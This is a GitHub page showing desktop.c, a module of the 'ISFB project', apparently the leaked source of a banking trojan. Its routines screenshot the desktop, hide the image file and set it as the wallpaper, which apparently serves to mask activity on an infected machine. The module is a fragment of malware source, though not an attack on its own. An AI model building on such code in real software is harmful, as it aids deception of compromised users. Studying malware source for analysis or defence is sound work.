-
Notifications
You must be signed in to change notification settings - Fork 53
/
desktop.c
81 lines (62 loc) · 1.84 KB
/
desktop.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// ISFB project. Version 2.13.24.1
//
// module: desktop.cpp
// $Revision: 367 $
// $Date: 2014-10-07 17:26:07 +0400 (Вт, 07 окт 2014) $
// description:
// Desktop wallaper manipulation routines
#include "common\main.h"
#include "common\memalloc.h"
#include "common\cschar.h"
#include "common\scrshot.h"
//
// Sets the specified image file as current desktop wallpaper.
//
WINERROR SetWallpaperW(
LPWSTR pWallpaper
)
{
WINERROR Status;
if (SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, pWallpaper, SPIF_UPDATEINIFILE))
Status = NO_ERROR;
else
Status = GetLastError();
return(Status);
}
//
// Generates a screenshot of the desktop, saves it into the speciefied file and sets it as current desktop wallpaper.
//
WINERROR SetScrShotAsWallpaperW(
LPWSTR pScrShot, // file path to save a screenshot to
LPWSTR* ppWallpaper // receives previouse wallpaper path
)
{
WINERROR Status = ERROR_UNSUCCESSFULL;
CLSID imageCLSID = {0};
LPWSTR pWallpaper = NULL;
do
{
if (!(pWallpaper = (LPWSTR)AppAlloc(MAX_PATH * sizeof(WCHAR))))
break;
if (!SystemParametersInfoW(SPI_GETDESKWALLPAPER, MAX_PATH, pWallpaper, 0))
break;
if ((Status = ScrGetEncoderClsid(wczImageBmp, &imageCLSID)) != NO_ERROR)
break;
if ((Status = ScrMakeScreenshot(GetShellWindow(), pScrShot, NULL, &imageCLSID)) != NO_ERROR)
break;
SetFileAttributesW(pScrShot, FILE_ATTRIBUTE_HIDDEN);
Status = SetWallpaperW(pScrShot);
} while (FALSE);
if (Status == ERROR_UNSUCCESSFULL)
Status = GetLastError();
if (Status != NO_ERROR)
{
if (pWallpaper)
AppFree((PVOID)pWallpaper);
DeleteFileW(pScrShot);
}
else
*ppWallpaper = pWallpaper;
return(Status);
}